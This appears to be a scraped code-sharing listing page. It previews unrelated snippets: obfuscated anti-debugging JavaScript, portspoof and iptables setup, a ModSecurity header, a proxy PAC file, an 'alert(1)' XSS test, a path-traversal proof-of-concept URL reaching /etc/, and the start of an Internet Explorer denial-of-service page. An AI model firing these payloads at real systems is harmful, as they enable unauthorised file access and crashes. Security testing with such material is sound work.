HTML Injection - Reflected (GET)
HTML Injection - Reflected (POST)
HTML Injection - Reflected (Current URL)
HTML Injection - Stored (Blog)
iFrame Injection
LDAP Injection (Search)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var _0x2a61=['string','constructor','while\x20(true)\x20{}','apply','counter','length','debu','gger','call','action','stateObject','init','chain','input','log','Hello\x20World!'];(function(_0x25ff53,_0x5e946c){var _0x45ae68=function(_0x568a18){while(--_0x568a18){_0x25ff53['push'](_0x25ff53['shift']());}};_0x45ae68(++_0x5e946c);}(_0x2a61,0x1eb));var _0x9c9f=function(_0x48b9da,_0x1e38c4){_0x48b9da=_0x48b9da-0x0;var _0x1a2628=_0x2a61[_0x48b9da];return _0x1a2628;};function hi(){var _0x11d12c=function(){var _0x8b34fc=!![];return function(_0x15a6d9,_0x29de7e){var _0x28a418=_0x8b34fc?function(){if(_0x29de7e){var _0x24e27f=_0x29de7e['apply'](_0x15a6d9,arguments);_0x29de7e=null;return _0x24e27f;}}:function(){};_0x8b34fc=![];return _0x28a418;};}();(function(){_0x11d12c(this,function(){var _0x9d1358=new RegExp('function\x20*\x5c(\x20*\x5c)');var _0x324132=new RegExp('\x5c+\x5c+\x20*(?:_0x(?:[a-f0-9]){4,6}|(?:\x5cb|\x5cd)[a-z0-9]{1,4}(?:\x5cb|\x5cd))','i');var _0x42db7f=_0x38e646(_0x9c9f('0x0'));if(!_0x9d1358['test'](_0x |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
./configure --sysconfdir=/etc/ | |
make | |
make install | |
iptables -t nat -A PREROUTING -p tcp -m tcp --dport 1:21 -j REDIRECT --to-ports 4444 | |
iptables -t nat -A PREROUTING -p tcp -m tcp --dport 23:79 -j REDIRECT --to-ports 4444 | |
iptables -t nat -A PREROUTING -p tcp -m tcp --dport 81:65535 -j REDIRECT --to-ports 4444 | |
portspoof -c /etc/portspoof.conf -s /etc/portspoof_signatures -D |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# --------------------------------------------------------------- | |
# Core ModSecurity Rule Set ver.2.2.9 | |
# Copyright (C) 2006-2012 Trustwave All rights reserved. | |
# | |
# The OWASP ModSecurity Core Rule Set is distributed under | |
# Apache Software License (ASL) version 2 | |
# Please see the enclosed LICENCE file for full details. | |
# --------------------------------------------------------------- | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This script is a basic IPTables server firewall with defenses against some | |
# of the most common attack types. | |
# | |
# Basically you just have to add/remove ports in the first part of this script | |
# and you should be ready to go. | |
# | |
# Help, comments and improvements always appreciated, also, feel free to | |
# use, change and distribute. Cheers | |
ip=/usr/sbin/iptables |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function FindProxyForURL(url, host) { | |
return "PROXY 192.168.1.87:3128; DIRECT"; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
alert(1); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
dcdsdscdscds |
POC :-
/html/filetree_get.stm?ep=1&t=tree&id=&p=/usb/../../../../../../../../../../../../../../../../etc/
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<title></title> | |
</head> | |
<body> | |
<center> | |
MSIE v11.371.16299 Denial Of Service by hyp3rlinx | |
<br> | |
<a href=".cmd:" id="hate">crashy ware shee</a> |